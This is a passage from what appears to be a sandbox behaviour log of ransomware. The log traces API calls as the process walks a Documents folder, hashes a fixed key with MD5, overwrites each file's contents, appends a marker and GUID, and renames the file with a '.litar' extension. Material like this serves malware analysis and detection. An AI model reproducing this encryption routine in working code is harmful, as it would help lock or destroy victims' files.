dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.576] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.577] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.577] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.577] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.577] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x55a2, lpOverlapped=0x0) returned 1 [0126.578] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.578] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.578] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.578] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.578] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0498) returned 1 [0126.579] CryptCreateHash (in: hProv=0x6a0498, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.579] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.579] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.579] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.579] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.579] GetLastError () returned 0x0 [0126.579] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.579] CryptReleaseContext (hProv=0x6a0498, dwFlags=0x0) returned 1 [0126.579] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.579] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x55a0) returned 0x30fa0b0 [0126.579] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.579] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.579] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x559d, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x559d, lpOverlapped=0x0) returned 1 [0126.579] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.579] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x55a2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.579] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0126.579] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.579] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.579] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.579] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0126.580] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.580] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.580] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.580] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.580] CloseHandle (hObject=0x624) returned 1 [0126.580] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3074f40 [0126.580] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8a0) returned 0x30fa0b0 [0126.580] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074f40 | out: hHeap=0x5c0000) returned 1 [0126.580] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\8RDB7k.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\8rdb7k.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\8RDB7k.doc.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\8rdb7k.doc.litar")) returned 1 [0126.586] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.586] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.587] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0126.587] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc399e820, ftCreationTime.dwHighDateTime=0x1d4cf94, ftLastAccessTime.dwLowDateTime=0xde1c4510, ftLastAccessTime.dwHighDateTime=0x1d4c9e7, ftLastWriteTime.dwLowDateTime=0xde1c4510, ftLastWriteTime.dwHighDateTime=0x1d4c9e7, nFileSizeHigh=0x0, nFileSizeLow=0xe0b4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="e6btBcfWeC9TI4.pps", cAlternateFileName="E6BTBC~1.PPS")) returned 1 [0126.587] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.587] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xbe) returned 0x3020a70 [0126.587] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.587] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\e6btBcfWeC9TI4.pps") returned=".pps" [0126.587] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\e6btBcfWeC9TI4.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\e6btbcfwec9ti4.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.588] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=57524) returned 1 [0126.588] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.589] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xe08e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.589] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.591] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.591] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.591] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.591] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xe0b4, lpOverlapped=0x0) returned 1 [0126.592] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.592] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.592] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.592] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.592] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0498) returned 1 [0126.592] CryptCreateHash (in: hProv=0x6a0498, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.592] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.593] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.593] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.593] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.593] GetLastError () returned 0x0 [0126.593] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.593] CryptReleaseContext (hProv=0x6a0498, dwFlags=0x0) returned 1 [0126.593] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.593] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe0b0) returned 0x30fa0b0 [0126.593] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.593] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.593] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xe0af, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xe0af, lpOverlapped=0x0) returned 1 [0126.593] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.593] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xe0b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.593] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0126.593] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.594] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.594] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.594] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0126.594] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.594] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.594] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.594] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.594] CloseHandle (hObject=0x624) returned 1 [0126.595] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd068 [0126.595] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8b0) returned 0x30fa0b0 [0126.595] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd068 | out: hHeap=0x5c0000) returned 1 [0126.595] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\e6btBcfWeC9TI4.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\e6btbcfwec9ti4.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\e6btBcfWeC9TI4.pps.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\e6btbcfwec9ti4.pps.litar")) returned 1 [0126.595] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.595] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.596] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0126.596] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9725edc0, ftCreationTime.dwHighDateTime=0x1d4c70b, ftLastAccessTime.dwLowDateTime=0xbf60f800, ftLastAccessTime.dwHighDateTime=0x1d4c802, ftLastWriteTime.dwLowDateTime=0xbf60f800, ftLastWriteTime.dwHighDateTime=0x1d4c802, nFileSizeHigh=0x0, nFileSizeLow=0xbe6c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FtBJIQkicPBzsMWmM5J.rtf", cAlternateFileName="FTBJIQ~1.RTF")) returned 1 [0126.596] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.596] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xbe) returned 0x3020a70 [0126.596] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.596] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\FtBJIQkicPBzsMWmM5J.rtf") returned=".rtf" [0126.596] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\FtBJIQkicPBzsMWmM5J.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\ftbjiqkicpbzsmwmm5j.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.597] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=48748) returned 1 [0126.597] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.599] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xbe46, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.599] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.601] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.601] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.601] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.601] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xbe6c, lpOverlapped=0x0) returned 1 [0126.601] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.602] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.602] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.602] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.602] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0498) returned 1 [0126.602] CryptCreateHash (in: hProv=0x6a0498, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.602] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.602] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.603] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.603] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.603] GetLastError () returned 0x0 [0126.603] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.603] CryptReleaseContext (hProv=0x6a0498, dwFlags=0x0) returned 1 [0126.603] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.603] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xbe70) returned 0x30fa0b0 [0126.603] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.603] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.603] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xbe67, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xbe67, lpOverlapped=0x0) returned 1 [0126.603] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.603] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xbe6c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.603] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ee90 [0126.603] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30559f8 [0126.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30559f8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0126.603] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0126.604] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30559f8 | out: hHeap=0x5c0000) returned 1 [0126.604] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ee90 | out: hHeap=0x5c0000) returned 1 [0126.604] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0126.604] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.604] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.604] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0126.604] CloseHandle (hObject=0x624) returned 1 [0126.605] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e218 [0126.605] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8c0) returned 0x30fa0b0 [0126.605] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e218 | out: hHeap=0x5c0000) returned 1 [0126.605] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\FtBJIQkicPBzsMWmM5J.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\ftbjiqkicpbzsmwmm5j.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\FtBJIQkicPBzsMWmM5J.rtf.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\ftbjiqkicpbzsmwmm5j.rtf.litar")) returned 1 [0126.605] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0126.605] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0126.607] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020a70 | out: hHeap=0x5c0000) returned 1 [0126.607] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfee034b0, ftCreationTime.dwHighDateTime=0x1d4c57c, ftLastAccessTime.dwLowDateTime=0x33142330, ftLastAccessTime.dwHighDateTime=0x1d4d410, ftLastWriteTime.dwLowDateTime=0x33142330, ftLastWriteTime.dwHighDateTime=0x1d4d410, nFileSizeHigh=0x0, nFileSizeLow=0x125d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="j3Zk5qyJiGa6pOh.odp", cAlternateFileName="J3ZK5Q~1.ODP")) returned 1 [0126.607] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.607] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xbe) returned 0x3020a70 [0126.607] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.607] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\j3Zk5qyJiGa6pOh.odp") returned=".odp" [0126.607] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\38Tocm\\RrMc-y7gilA\\j3Zk5qyJiGa6pOh.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\38tocm\\rrmc-y7gila\\j3zk5qyjiga6poh.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.607] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=4701) returned 1 [0126.607] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.609] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1237, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.609] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.611] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.611] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.611] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.611] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x125d, lpOverlapped=0x0) returned 1 [0126.612] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.612] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.612] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.612] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.612] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0498) returned 1 [0126.613] CryptCreateHash (in: 